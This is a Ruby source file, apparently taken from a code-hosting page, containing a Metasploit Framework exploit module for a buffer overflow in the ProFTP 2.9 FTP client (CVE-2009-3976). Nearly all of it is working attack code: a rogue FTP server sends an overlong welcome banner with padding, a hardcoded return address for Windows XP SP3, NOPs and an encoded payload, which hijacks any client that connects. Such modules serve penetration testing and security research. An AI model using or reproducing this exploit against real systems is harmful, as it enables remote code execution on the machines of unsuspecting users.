71 lines
1.8 KiB
Ruby
71 lines
1.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',
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'Description' => %q{
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This module exploits a buffer overflow in the ProFTP 2.9
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client that is triggered through an excessively long welcome message.
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},
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'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3976' ],
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[ 'OSVDB', '57394' ],
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[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested against - XP SP3 English OK.
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[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
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],
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'Privileged' => false,
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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buffer = "220 "
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buffer << rand_text_numeric(2064)
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buffer << [target.ret].pack('V')
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buffer << make_nops(20)
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buffer << payload.encoded
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buffer << "\r\n"
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client.put(buffer)
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end
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end
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